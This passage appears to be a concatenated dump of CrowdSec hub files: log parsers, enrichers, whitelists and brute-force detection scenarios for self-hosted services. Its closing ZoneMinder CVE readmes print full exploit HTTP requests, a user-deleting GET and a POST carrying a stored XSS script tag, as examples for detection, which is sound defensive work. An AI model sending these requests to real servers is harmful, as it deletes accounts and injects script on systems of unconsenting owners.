target_user expression: "evt.Parsed.sshesame_user" - grok: name: "SSHESAME_CMD" apply_on: message statics: - meta: log_type value: sshesame_cmd - grok: name: "SSHESAME_INPUT" apply_on: message statics: - meta: log_type value: sshesame_input statics: - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: service value: sshesame - meta: source_ip expression: "evt.Parsed.source_ip" - meta: username expression: "evt.Parsed.sshesame_user" - meta: command expression: "evt.Parsed.sshesame_cmd" - meta: input expression: "evt.Parsed.sshesame_input" hub1/parsers/s01-parse/timokoessler/000077500000000000000000000000001437532772500176465ustar00rootroot00000000000000hub1/parsers/s01-parse/timokoessler/gitlab-logs.md000066400000000000000000000006451437532772500224010ustar00rootroot00000000000000Parser for [GitLab](https://about.gitlab.com) Logs. Tested with the Omnibus package v14 and v15. Example acquisition for a log file: ```yaml --- filenames: - /var/log/gitlab/gitlab-rails/production_json.log labels: type: gitlab ``` or for Docker: ```yaml --- source: docker container_name: - my_container_name labels: type: gitlab ``` Depending on your gitlab installation method, paths to log files might change.hub1/parsers/s01-parse/timokoessler/gitlab-logs.yaml000066400000000000000000000025411437532772500227400ustar00rootroot00000000000000onsuccess: next_stage filter: "Upper(evt.Parsed.program) == 'GITLAB'" name: timokoessler/gitlab-logs description: "Parse GitLab Logs" nodes: - filter: | JsonExtract(evt.Parsed.message, "method") == 'POST' && JsonExtract(evt.Parsed.message, "path") in ['/users/sign_in', '/users/auth/ldapmain/callback'] && any(JsonExtractSlice(evt.Parsed.message, "params"), {.key == 'user' && .value.login != ''}) && (JsonExtract(evt.Parsed.message, 'status') == '0' || JsonExtract(evt.Parsed.message, 'action') == 'failure') statics: - meta: log_type value: "gitlab_failed_password" - meta: username expression: filter(JsonExtractSlice(evt.Parsed.message, "params"), {.key == 'user' && .value.login != ''})[0]['value']['login'] - filter: | JsonExtract(evt.Parsed.message, "method") == 'POST' && JsonExtract(evt.Parsed.message, "path") == '/users/sign_in' && JsonExtract(evt.Parsed.message, 'params') contains 'otp_attempt' && JsonExtract(evt.Parsed.message, 'status') != '302' statics: - meta: log_type value: "gitlab_failed_totp" statics: - meta: service value: gitlab - meta: source_ip expression: JsonExtract(evt.Parsed.message, "remote_ip") - parsed: timestamp expression: JsonExtract(evt.Parsed.message, "time") - target: evt.StrTime expression: "evt.Parsed.timestamp"hub1/parsers/s01-parse/timokoessler/mongodb-logs.md000066400000000000000000000006411437532772500225600ustar00rootroot00000000000000This is a parser for [MongoDB](https://www.mongodb.com/) logs. MongoDB version 4.4 or higher is required. Example acquisition for a docker container: ```yaml --- source: docker container_name: - my_container_name labels: type: mongodb ``` or for a log file: ```yaml --- filenames: - /var/log/mongodb/mongodb.log labels: type: mongodb ``` Depending on your installation method, paths to log files might change.hub1/parsers/s01-parse/timokoessler/mongodb-logs.yaml000066400000000000000000000016401437532772500231220ustar00rootroot00000000000000onsuccess: next_stage filter: "Upper(evt.Parsed.program) == 'MONGODB'" name: timokoessler/mongodb-logs description: "Parse MongoDB logs" nodes: - filter: | JsonExtract(evt.Parsed.message, "c") == 'ACCESS' && JsonExtract(evt.Parsed.message, "msg") == 'Authentication failed' statics: - meta: log_type value: "mongodb_failed_auth" grok: pattern: '%{IPORHOST:remote_addr}' expression: JsonExtract(evt.Parsed.message, "attr.remote") statics: - meta: service value: mongodb - meta: source_ip expression: "evt.Parsed.remote_addr" - parsed: timestamp expression: JsonExtract(evt.Parsed.message, "t.$date") - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: username expression: JsonExtract(evt.Parsed.message, "attr.principalName") - meta: authentication_database expression: JsonExtract(evt.Parsed.message, "attr.authenticationDatabase")hub1/parsers/s01-parse/timokoessler/uptime-kuma-logs.md000066400000000000000000000003771437532772500233770ustar00rootroot00000000000000Parser for [Uptime Kuma](https://github.com/louislam/uptime-kuma) Logs. **Uptime Kuma version 1.15.0 or higher is required.** Example acquisition for Docker: ```yaml --- source: docker container_name: - my_container_name labels: type: uptime-kuma ```hub1/parsers/s01-parse/timokoessler/uptime-kuma-logs.yaml000066400000000000000000000016201437532772500237310ustar00rootroot00000000000000onsuccess: next_stage filter: "Upper(evt.Parsed.program) == 'UPTIME-KUMA'" name: timokoessler/uptime-kuma-logs description: "Parse Uptime Kuma Logs" nodes: - grok: pattern: '^%{TIMESTAMP_ISO8601:timestamp} \[AUTH\] WARN: Incorrect username or password for user %{DATA:username}\. IP=%{IP:source_ip}$' apply_on: message statics: - meta: log_type value: uptime_kuma_failed_password - grok: pattern: '^%{TIMESTAMP_ISO8601:timestamp} \[AUTH\] WARN: Invalid token provided for user %{DATA:username}\. IP=%{IP:source_ip}$' apply_on: message statics: - meta: log_type value: uptime_kuma_failed_totp statics: - meta: service value: uptime-kuma - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: username expression: evt.Parsed.username hub1/parsers/s02-enrich/000077500000000000000000000000001437532772500152655ustar00rootroot00000000000000hub1/parsers/s02-enrich/crowdsecurity/000077500000000000000000000000001437532772500201735ustar00rootroot00000000000000hub1/parsers/s02-enrich/crowdsecurity/dateparse-enrich.md000066400000000000000000000024201437532772500237310ustar00rootroot00000000000000Parses timestamp strings in logs to be used in [forensic mode](https://doc.crowdsec.net/Crowdsec/v1/user_guide/forensic_mode/). The parser supports the following formats, or the one provided in `StrTimeFormat` : - RFC3339 - `02/Jan/2006:15:04:05 -0700` - `Mon Jan 2 15:04:05 2006` - `02-Jan-2006 15:04:05 europe/paris` - `01/02/2006 15:04:05` - `2006-01-02 15:04:05.999999999 -0700 MST` - `Jan 2 15:04:05` - `Mon Jan 02 15:04:05.000000 2006` - `2006-01-02T15:04:05Z07:00` - `2006/01/02` - `2006/01/02 15:04` - `2006-01-02` - `2006-01-02 15:04` The `StrTime` item of the event is parsed by default. See [crowdsecurity/syslog-logs](https://hub.crowdsec.net/author/crowdsecurity/configurations/syslog-logs) as an example of a parser setting this field for `crowdsecurity/dateparse-enrich`. If a date layout is present in the `StrTimeFormat` field of the event, it will take precedence over the list above. The date layout must be ([valid in the golang's `time.Parse` layout format](https://pkg.go.dev/time#Parse)), allowing parsers to specify the date format for later parsing : ```yaml filter: ... ... statics: - target: evt.StrTimeFormat value: "2006 2 15.04.05 Jan" ... ``` This allows `crowdsecurity/dateparse-enrich` to parse dates in this format for this log type. hub1/parsers/s02-enrich/crowdsecurity/dateparse-enrich.yaml000066400000000000000000000004351437532772500242770ustar00rootroot00000000000000filter: "evt.StrTime != ''" name: crowdsecurity/dateparse-enrich #debug: true #it's a hack lol statics: - method: ParseDate expression: evt.StrTime - target: MarshaledTime expression: evt.Enriched.MarshaledTime - meta: timestamp expression: evt.Enriched.MarshaledTimehub1/parsers/s02-enrich/crowdsecurity/geoip-enrich.md000066400000000000000000000014421437532772500230670ustar00rootroot00000000000000The GeoIP module relies on geolite database to provide enrichment on source ip. The following informations will be added to the event : - `Meta.IsoCode` : two-letters country code - `Meta.IsInEU` : a boolean indicating if IP is in EU - `Meta.GeoCoords` : latitude & longitude of IP - `Meta.ASNNumber` : Autonomous System Number - `Meta.ASNOrg` : Autonomous System Name - `Meta.SourceRange` : The public range to which the IP belongs This configuration includes GeoLite2 data created by MaxMind available from [https://www.maxmind.com](https://www.maxmind.com), it includes two data files: * [GeoLite2-City.mmdb](https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/GeoLite2-City.mmdb) * [GeoLite2-ASN.mmdb](https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/GeoLite2-ASN.mmdb) hub1/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml000066400000000000000000000016441437532772500234350ustar00rootroot00000000000000filter: "'source_ip' in evt.Meta" name: crowdsecurity/geoip-enrich description: "Populate event with geoloc info : as, country, coords, source range." data: - source_url: https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/GeoLite2-City.mmdb dest_file: GeoLite2-City.mmdb - source_url: https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/GeoLite2-ASN.mmdb dest_file: GeoLite2-ASN.mmdb statics: - method: GeoIpCity expression: evt.Meta.source_ip - meta: IsoCode expression: evt.Enriched.IsoCode - meta: IsInEU expression: evt.Enriched.IsInEU - meta: GeoCoords expression: evt.Enriched.GeoCoords - method: GeoIpASN expression: evt.Meta.source_ip - meta: ASNNumber expression: evt.Enriched.ASNNumber - meta: ASNOrg expression: evt.Enriched.ASNOrg - method: IpToRange expression: evt.Meta.source_ip - meta: SourceRange expression: evt.Enriched.SourceRange hub1/parsers/s02-enrich/crowdsecurity/http-logs.md000066400000000000000000000005201437532772500224330ustar00rootroot00000000000000This parser is a generic post-parsing http re-parser and profides more detailed information such as : - static_ressource : a boolean to tell if the requested ressource is a static file - file_name : simple file+file-extension - impact_completion : a boolean flag indicating if the request succeeded (based on the http response code) hub1/parsers/s02-enrich/crowdsecurity/http-logs.yaml000066400000000000000000000027511437532772500230050ustar00rootroot00000000000000filter: "evt.Meta.service == 'http' && evt.Meta.log_type in ['http_access-log', 'http_error-log']" description: "Parse more Specifically HTTP logs, such as HTTP Code, HTTP path, HTTP args and if its a static ressource" name: crowdsecurity/http-logs pattern_syntax: DIR: "^.*/" FILE: "[^/].*?" EXT: "\\.[^.]*$|$" nodes: - statics: - parsed: "impact_completion" # the value of a field can as well be determined as the result of an expression expression: "evt.Meta.http_status in ['404', '403', '502'] ? 'false' : 'true'" - target: evt.Parsed.static_ressource value: 'false' # let's split the path?query if possible - grok: pattern: "^%{GREEDYDATA:request}\\?%{GREEDYDATA:http_args}$" apply_on: request # this is another node, with its own pattern_syntax - #debug: true grok: pattern: "%{DIR:file_dir}(%{FILE:file_frag}%{EXT:file_ext})?" apply_on: request statics: - meta: http_path expression: "evt.Parsed.http_path" # meta af - meta: http_args_len expression: "len(evt.Parsed.http_args)" - parsed: file_name expression: evt.Parsed.file_frag + evt.Parsed.file_ext - parsed: static_ressource expression: "Upper(evt.Parsed.file_ext) in ['.JPG', '.CSS', '.JS', '.JPEG', '.PNG', '.SVG', '.MAP', '.ICO', '.OTF', '.GIF', '.MP3', '.MP4', '.WOFF', '.WOFF2', '.TTF', '.OTF', '.EOT', '.WEBP', '.WAV', '.GZ', '.BROTLI', '.BVR', '.TS', '.BMP'] ? 'true' : 'false'" hub1/parsers/s02-enrich/crowdsecurity/naxsi-logs.yaml000066400000000000000000000007771437532772500231560ustar00rootroot00000000000000#let's try to post-process nginx error log to have naxsi pattern filter: "evt.Meta.log_type == 'http_error-log' && evt.Parsed.program == 'nginx'" description: "Enrich logs if its from NAXSI" name: crowdsecurity/naxsi-logs grok: name: "NAXSI_EXLOG" apply_on: message statics: - target: evt.Meta.log_type value: waf_naxsi-log - meta: source_ip expression: "evt.Parsed.naxsi_src_ip" - meta: http_path expression: "evt.Parsed.http_path" - meta: dest_ip expression: "evt.Parsed.target_ip"hub1/parsers/s02-enrich/crowdsecurity/nextcloud-whitelist.md000066400000000000000000000016321437532772500245360ustar00rootroot00000000000000## Nextcloud whitelist ### Contacts app Contacts has an issue with excessive 404 response codes when a user image is missing [Upstream issue](https://github.com/nextcloud/contacts/issues/3021) --- ### Photos app On first load the photos app calls a preview endpoint, however, if it fails to load it will trigger http-probing --- ### Backup app When loading backups for a file if those backups have been modified or deleted by (OS/USER) it can easily trigger http-probing --- ### Files app The `/core/preview` endpoint returns 404 if a file has no thumbnail (including files which aren't meant to, like XMLs). This can trigger http-probing when using the file search bar. --- ### Creating files via WebDAV When uploading files via WebDAV, a PROPFIND request is sent to the server, which returns 404 if the file does not exist. Then the file is created. Uploading more than 10 files at a time will trigger http-probing.hub1/parsers/s02-enrich/crowdsecurity/nextcloud-whitelist.yaml000066400000000000000000000024561437532772500251050ustar00rootroot00000000000000name: crowdsecurity/nextcloud-whitelist description: "Whitelist events from nextcloud" filter: "evt.Meta.service == 'http' && evt.Meta.log_type in ['http_access-log', 'http_error-log']" whitelist: reason: "Nextcloud Whitelist" expression: - evt.Meta.http_status == '404' && evt.Meta.http_verb == 'GET' && evt.Parsed.file_ext == '.vcf' && evt.Parsed.http_args contains "photo" #Contacts app .vcf missing photo - evt.Meta.http_status == '404' && evt.Meta.http_verb == 'GET' && evt.Meta.http_path contains '/apps/files_versions/preview' && evt.Parsed.http_args contains 'version' #Backup app missing file version - evt.Meta.http_status == '404' && evt.Meta.http_verb == 'GET' && evt.Meta.http_path contains '/apps/photos/api/v1/preview' && evt.Parsed.http_args contains 'x' && evt.Parsed.http_args contains 'y' #Photo app loads all previews as small panes, but can 404 - evt.Meta.http_status == '404' && evt.Meta.http_verb == 'GET' && evt.Parsed.request == '/core/preview' && evt.Parsed.http_args contains 'x=' && evt.Parsed.http_args contains 'y=' && evt.Parsed.http_args contains 'fileId=' #File preview often 404s while searching - evt.Meta.http_status == '404' && evt.Meta.http_verb == 'PROPFIND' && evt.Meta.http_path startsWith '/remote.php/webdav/' #Uploading new files via WebDAV always produces a 404 hub1/parsers/s02-enrich/crowdsecurity/whitelists.md000066400000000000000000000002431437532772500227130ustar00rootroot00000000000000A generic whitelist to avoid banning yourself. ### whitelisted ips: - 127.0.0.1 - ::1 ### whitelisted ranges: - 192.168.0.0/16 - 10.0.0.0/8 - 172.16.0.0/12 hub1/parsers/s02-enrich/crowdsecurity/whitelists.yaml000066400000000000000000000004771437532772500232660ustar00rootroot00000000000000name: crowdsecurity/whitelists description: "Whitelist events from private ipv4 addresses" whitelist: reason: "private ipv4/ipv6 ip/ranges" ip: - "127.0.0.1" - "::1" cidr: - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" # expression: # - "'foo.com' in evt.Meta.source_ip.reverse" hub1/postoverflows/000077500000000000000000000000001437532772500146705ustar00rootroot00000000000000hub1/postoverflows/s00-enrich/000077500000000000000000000000001437532772500165405ustar00rootroot00000000000000hub1/postoverflows/s00-enrich/crowdsecurity/000077500000000000000000000000001437532772500214465ustar00rootroot00000000000000hub1/postoverflows/s00-enrich/crowdsecurity/ipv6_to_range.md000066400000000000000000000002031437532772500245250ustar00rootroot00000000000000This postoverflow check if the remediation concern an IPv6 and if yes, will change the value of the decision to the IPv6 /64 range.hub1/postoverflows/s00-enrich/crowdsecurity/ipv6_to_range.yaml000066400000000000000000000005211437532772500250720ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Overflow.Alert.Remediation == true && IsIPV6(evt.Overflow.Alert.Source.IP)" name: crowdsecurity/ipv6_to_range description: "" statics: - target: evt.Overflow.Alert.Source.Value expression: IpToRange(evt.Overflow.Alert.Source.IP, "/64") - target: evt.Overflow.Alert.Source.Scope value: Rangehub1/postoverflows/s00-enrich/crowdsecurity/rdns.md000066400000000000000000000001641437532772500227370ustar00rootroot00000000000000# Rdns enricher This will use `reverse_dns` method to enrich an event with the reverse dns of the IP if it exists. hub1/postoverflows/s00-enrich/crowdsecurity/rdns.yaml000066400000000000000000000004721437532772500233030ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Overflow.Alert.Remediation == true" name: crowdsecurity/rdns description: "Lookup the DNS associated to the source IP only for overflows" statics: - method: reverse_dns expression: evt.Overflow.Alert.Source.IP - meta: reverse_dns expression: evt.Enriched.reverse_dns hub1/postoverflows/s01-whitelist/000077500000000000000000000000001437532772500173055ustar00rootroot00000000000000hub1/postoverflows/s01-whitelist/crowdsecurity/000077500000000000000000000000001437532772500222135ustar00rootroot00000000000000hub1/postoverflows/s01-whitelist/crowdsecurity/cdn-whitelist.md000066400000000000000000000002351437532772500253130ustar00rootroot00000000000000# CDNs whitelist CDNs whitelist based on following lists: * https://www.cloudflare.com/ips-v4 It will whitelist overflows triggered on an IP in those listshub1/postoverflows/s01-whitelist/crowdsecurity/cdn-whitelist.yaml000066400000000000000000000007741437532772500256650ustar00rootroot00000000000000name: crowdsecurity/cdn-whitelist description: "Whitelist CDN providers" whitelist: reason: "CDN provider" expression: - "any(File('cloudflare_ips.txt'), { IpInRange(evt.Overflow.Alert.Source.IP ,#)})" - "any(File('cloudflare_ip6s.txt'), { IpInRange(evt.Overflow.Alert.Source.IP ,#)})" data: - source_url: https://www.cloudflare.com/ips-v4 dest_file: cloudflare_ips.txt type: string - source_url: https://www.cloudflare.com/ips-v6 dest_file: cloudflare_ip6s.txt type: string hub1/postoverflows/s01-whitelist/crowdsecurity/seo-bots-whitelist.md000066400000000000000000000002701437532772500263010ustar00rootroot00000000000000# SEO Bots Whitelist Configuration based on `crowdsecurity/rdns` to whitelist following benign SEO bots: * duckduckBot * googlebot * yandex * bing * baidu * yahoo * pinterest * qwant hub1/postoverflows/s01-whitelist/crowdsecurity/seo-bots-whitelist.yaml000066400000000000000000000017701437532772500266510ustar00rootroot00000000000000name: crowdsecurity/seo-bots-whitelist description: "Whitelist good search engine crawlers" whitelist: reason: "good bots (search engine crawlers)" expression: - "any(File('rdns_seo_bots.txt'), { len(#) > 0 && evt.Enriched.reverse_dns endsWith #})" - "RegexpInFile(evt.Enriched.reverse_dns, 'rdns_seo_bots.regex')" - "any(File('ip_seo_bots.txt'), { len(#) > 0 && IpInRange(evt.Overflow.Alert.Source.IP ,#)})" data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/rdns_seo_bots.txt dest_file: rdns_seo_bots.txt type: string - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/rnds_seo_bots.regex dest_file: rdns_seo_bots.regex type: regexp - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/whitelists/benign_bots/search_engine_crawlers/ip_seo_bots.txt dest_file: ip_seo_bots.txt type: stringhub1/scenarios/000077500000000000000000000000001437532772500137225ustar00rootroot00000000000000hub1/scenarios/Dominic-Wagner/000077500000000000000000000000001437532772500165255ustar00rootroot00000000000000hub1/scenarios/Dominic-Wagner/vaultwarden-bf.md000066400000000000000000000002441437532772500217700ustar00rootroot00000000000000Detect failed vaultwarden authentications: - leakspeed of 1m, capacity of 5 on source ip - leakspeed of 1m, capacity of 5 on source ip and unique distinct users hub1/scenarios/Dominic-Wagner/vaultwarden-bf.yaml000066400000000000000000000013621437532772500223340ustar00rootroot00000000000000# vaultwarden bruteforce type: leaky name: Dominic-Wagner/vaultwarden-bf description: "Detect vaultwarden bruteforce" filter: "evt.Meta.log_type in ['vaultwarden_failed_auth', 'vaultwarden_failed_admin_auth', 'vaultwarden_failed_totp']" leakspeed: 1m capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m reprocess: true labels: service: vaultwarden type: bruteforce remediation: true --- # vaultwarden user-enum type: leaky name: Dominic-Wagner/vaultwarden-bf_user-enum description: "Detect vaultwarden user enum bruteforce" filter: evt.Meta.log_type == 'vaultwarden_failed_auth' groupby: evt.Meta.source_ip distinct: evt.Meta.username leakspeed: 1m capacity: 5 blackhole: 5m reprocess: true labels: service: ssh type: bruteforce remediation: truehub1/scenarios/LePresidente/000077500000000000000000000000001437532772500163055ustar00rootroot00000000000000hub1/scenarios/LePresidente/adguardhome-bf.md000066400000000000000000000001401437532772500214670ustar00rootroot00000000000000Detect failed AdGuardHome authentications: - leakspeed of 1m, capacity of 5 on same ip addresshub1/scenarios/LePresidente/adguardhome-bf.yaml000066400000000000000000000005151437532772500220370ustar00rootroot00000000000000 # AdGuardHome bruteforce type: leaky name: LePresidente/adguardhome-bf description: "Detect AdGuardHome bruteforce attacks" filter: "evt.Meta.log_type == 'adguardhome_failed_auth'" leakspeed: 1m capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m reprocess: true labels: service: adguardhome type: bruteforce remediation: truehub1/scenarios/LePresidente/authelia-bf.md000066400000000000000000000002271437532772500210110ustar00rootroot00000000000000Detect failed authelia authentications: - leakspeed of 20s, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct usershub1/scenarios/LePresidente/authelia-bf.yaml000066400000000000000000000013201437532772500213460ustar00rootroot00000000000000# authelia BF scan name: LePresidente/authelia-bf description: "Detect authelia bruteforce" filter: "evt.Meta.log_type in ['authelia_failed_clf_auth', 'authelia_failed_json_auth']" #debug: true type: leaky groupby: evt.Meta.source_ip leakspeed: "20s" capacity: 5 blackhole: 1m labels: service: authelia type: bruteforce remediation: true --- # authelia user-enum type: leaky name: LePresidente/authelia-bf_user-enum description: "Detect authelia user enum bruteforce" filter: "evt.Meta.log_type in ['authelia_failed_clf_auth', 'authelia_failed_json_auth']" groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: authelia type: bruteforce remediation: truehub1/scenarios/LePresidente/emby-bf.md000066400000000000000000000001301437532772500201420ustar00rootroot00000000000000Detect failed emby authentications: - leakspeed of 1m, capacity of 5 on same target iphub1/scenarios/LePresidente/emby-bf.yaml000066400000000000000000000004421437532772500205120ustar00rootroot00000000000000 # emby bruteforce type: leaky name: LePresidente/emby-bf description: "Detect emby bruteforce" filter: "evt.Meta.log_type == 'emby_failed_auth'" leakspeed: 1m capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m reprocess: true labels: service: emby type: bruteforce remediation: true hub1/scenarios/LePresidente/gitea-bf.md000066400000000000000000000002241437532772500203030ustar00rootroot00000000000000Detect failed gitea authentications: - leakspeed of 20s, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct usershub1/scenarios/LePresidente/gitea-bf.yaml000066400000000000000000000011551437532772500206510ustar00rootroot00000000000000# gitea BF scan name: LePresidente/gitea-bf description: "Detect gitea bruteforce" filter: "evt.Meta.log_type == 'gitea_failed_auth'" #debug: true type: leaky groupby: evt.Meta.source_ip leakspeed: "20s" capacity: 5 blackhole: 1m labels: service: gitea type: bruteforce remediation: true --- # gitea user-enum type: leaky name: LePresidente/gitea-bf_user-enum description: "Detect gitea user enum bruteforce" filter: "evt.Meta.log_type == 'gitea_failed_auth'" groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: gitea type: bruteforce remediation: true hub1/scenarios/LePresidente/jellyfin-bf.md000066400000000000000000000002271437532772500210310ustar00rootroot00000000000000Detect failed jellyfin authentications: - leakspeed of 20s, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct usershub1/scenarios/LePresidente/jellyfin-bf.yaml000066400000000000000000000012131437532772500213670ustar00rootroot00000000000000# jellyfin BF scan name: LePresidente/jellyfin-bf description: "Detect jellyfin bruteforce" filter: "evt.Meta.log_type == 'jellyfin_failed_auth'" #debug: true type: leaky groupby: evt.Meta.source_ip leakspeed: "20s" capacity: 5 blackhole: 1m labels: service: jellyfin type: bruteforce remediation: true --- # jellyfin user-enum type: leaky name: LePresidente/jellyfin-bf_user-enum description: "Detect jellyfin user enum bruteforce" filter: "evt.Meta.log_type == 'jellyfin_failed_auth'" groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: jellyfin type: bruteforce remediation: true hub1/scenarios/LePresidente/jellyseerr-bf.md000066400000000000000000000002311437532772500213700ustar00rootroot00000000000000Detect failed jellyseerr authentications: - leakspeed of 20s, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct usershub1/scenarios/LePresidente/jellyseerr-bf.yaml000066400000000000000000000012371437532772500217410ustar00rootroot00000000000000# jellyseerr BF scan name: LePresidente/jellyseerr-bf description: "Detect jellyseerr bruteforce" filter: "evt.Meta.log_type == 'jellyseerr_failed_auth'" #debug: true type: leaky groupby: evt.Meta.source_ip leakspeed: "20s" capacity: 5 blackhole: 1m labels: service: jellyseerr type: bruteforce remediation: true --- # jellyseerr user-enum type: leaky name: LePresidente/jellyseerr-bf_user-enum description: "Detect jellyseerr user enum bruteforce" filter: "evt.Meta.log_type == 'jellyseerr_failed_auth'" groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: jellyseerr type: bruteforce remediation: true hub1/scenarios/LePresidente/ombi-bf.md000066400000000000000000000001301437532772500201340ustar00rootroot00000000000000Detect failed emby authentications: - leakspeed of 1m, capacity of 5 on same target iphub1/scenarios/LePresidente/ombi-bf.yaml000066400000000000000000000004411437532772500205030ustar00rootroot00000000000000# emby bruteforce type: leaky name: LePresidente/ombi-bf description: "Detect Ombi bruteforce" filter: "evt.Meta.log_type == 'ombi_auth_failed'" leakspeed: 1m capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m reprocess: true labels: service: ombi type: bruteforce remediation: true hub1/scenarios/a1ad/000077500000000000000000000000001437532772500145305ustar00rootroot00000000000000hub1/scenarios/a1ad/meshcentral-bf.md000066400000000000000000000002331437532772500177420ustar00rootroot00000000000000Detect failed meshcentral authentications: - leakspeed of 20s, capacity of 5 on same target user - leakspeed of 1m, capacity of 5 unique distinct users hub1/scenarios/a1ad/meshcentral-bf.yaml000066400000000000000000000012311437532772500203030ustar00rootroot00000000000000# meshcentral BF scan name: a1ad/meshcentral-bf description: "Detect meshcentral bruteforce" filter: "evt.Meta.log_type == 'meshcentral_failed_auth'" #debug: true type: leaky groupby: evt.Meta.source_ip leakspeed: "20s" capacity: 5 blackhole: 1m labels: service: meshcentral type: bruteforce remediation: true --- # meshcentral user-enum type: leaky name: a1ad/meshcentral-bf_user-enum description: "Detect meshcentral user enum bruteforce" filter: "evt.Meta.log_type == 'meshcentral_failed_auth'" groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: meshcentral type: bruteforce remediation: true hub1/scenarios/baudneo/000077500000000000000000000000001437532772500153375ustar00rootroot00000000000000hub1/scenarios/baudneo/gotify-bf.md000066400000000000000000000001311437532772500175420ustar00rootroot00000000000000Bruteforce protection for Gotify server. Leak speed of 10 seconds with a capacity of 4.hub1/scenarios/baudneo/gotify-bf.yaml000066400000000000000000000004001437532772500201030ustar00rootroot00000000000000type: leaky name: baudneo/gotify-bf description: "Detect bruteforce" filter: "evt.Meta.log_type == 'gotify_failed_auth'" groupby: "evt.Meta.source_ip" capacity: 4 leakspeed: "10s" blackhole: 1m labels: service: gotify type: bruteforce remediation: truehub1/scenarios/baudneo/zoneminder-bf.md000066400000000000000000000000671437532772500204230ustar00rootroot00000000000000Bruteforce/User Enumeration protection for ZoneMinder. hub1/scenarios/baudneo/zoneminder-bf.yaml000066400000000000000000000011521437532772500207610ustar00rootroot00000000000000# loging bruteforce type: leaky name: baudneo/zoneminder-bf description: "Detect ZoneMinder bruteforce" filter: "evt.Meta.log_subtype == 'zm_bad_password'" groupby: "evt.Meta.source_ip" capacity: 4 leakspeed: "10s" blackhole: 1m labels: service: zoneminder type: bruteforce remediation: true --- # user enum type: leaky name: baudneo/zoneminder-bf description: "Detect ZoneMinder user enumeration" filter: "evt.Meta.log_subtype == 'zm_bad_user'" groupby: "evt.Meta.source_ip" distinct: "evt.Meta.username" capacity: 4 leakspeed: "10s" blackhole: 1m labels: service: zoneminder type: bruteforce remediation: true hub1/scenarios/baudneo/zoneminder_cv2-2022-39290.md000066400000000000000000000020151437532772500216520ustar00rootroot00000000000000Scenario to detect exploitation attempts of [CVE-2022-39290](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-xgv6-qv6c-399q). Basically do not allow any GET request to have action=. This is for ZM versions __BEFORE__ 1.36.27, 1.37.24 ``` GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete HTTP/1.1 Host: 10.0.10.107 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://10.0.10.107 Connection: close Referer: http://10.0.10.107/zm/index.php?view=options&tab=users Cookie: zmSkin=classic; zmCSS=base; zmLogsTable.bs.table.sortOrder=desc; zmLogsTable.bs.table.sortName=Message; zmLogsTable.bs.table.pageNumber=1; ZMSESSID=24u3uv4ed55n04f73slbu95pm9 Upgrade-Insecure-Requests: 1 ``` :warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning: hub1/scenarios/baudneo/zoneminder_cve-2022-39285.md000066400000000000000000000025341437532772500217470ustar00rootroot00000000000000Scenario to detect exploitation attempts of [CVE-2022-39285](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-h6xp-cvwv-q433). Basically do not allow any POST requests for index.php to have file=[XSS payload]. This is for ZM versions __BEFORE__ 1.36.27, 1.37.24 ``` POST /zm/index.php HTTP/1.1 Host: 10.0.10.107 Content-Length: 377 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://10.0.10.107 Referer: http://10.0.10.107/zm/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: zmSkin=classic; zmCSS=base; zmBandwidth=high; ZMSESSID=rauh5oe3i2uar25eaniipq2gie Connection: close __csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 ``` :warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning: 